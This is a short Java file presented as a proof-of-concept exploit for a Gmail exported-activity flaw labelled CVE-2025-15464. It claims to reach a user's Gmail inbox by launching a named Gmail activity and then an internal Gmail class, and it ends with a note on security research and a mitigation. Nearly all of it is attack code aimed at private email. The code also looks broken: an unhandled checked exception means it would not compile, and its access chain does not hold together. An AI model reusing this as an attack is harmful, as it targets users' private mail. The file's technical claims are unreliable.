// CVE-2025-15464 PoC - Exported Activity Gmail Access // This PoC demonstrates how a malicious app can exploit an exported Activity // to access Gmail inbox without proper authorization import android.content.Intent; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; public class GmailExploitActivity extends AppCompatActivity { private static final String GMAIL_PACKAGE = "com.google.android.gm"; private static final String EXPORTED_ACTIVITY_CLASS = "com.google.android.gm.ui.GmailActivity"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Step 1: Create Intent to launch exported Gmail Activity Intent exploitIntent = new Intent(); exploitIntent.setClassName(GMAIL_PACKAGE, EXPORTED_ACTIVITY_CLASS); exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); try { // Step 2: Start the exported activity to obtain Application Context startActivity(exploitIntent); // Step 3: After obtaining context, access Gmail inbox // This demonstrates the security bypass accessGmailInbox(); } catch (Exception e) { e.printStackTrace(); } } private void accessGmailInbox() { // Exploit: Using obtained context to access Gmail inbox // Bypassing Android security controls Intent inboxIntent = new Intent(this, Class.forName("com.google.android.gm.api.GmailApi")); inboxIntent.setAction("android.intent.action.VIEW"); inboxIntent.setData(android.net.Uri.parse("content://gmail-ls")); startActivity(inboxIntent); } } // Note: This is a conceptual PoC for security research purposes. // Actual exploitation requires specific package and class name identification. // Mitigation: Set android:exported="false" for sensitive activities in AndroidManifest.xml
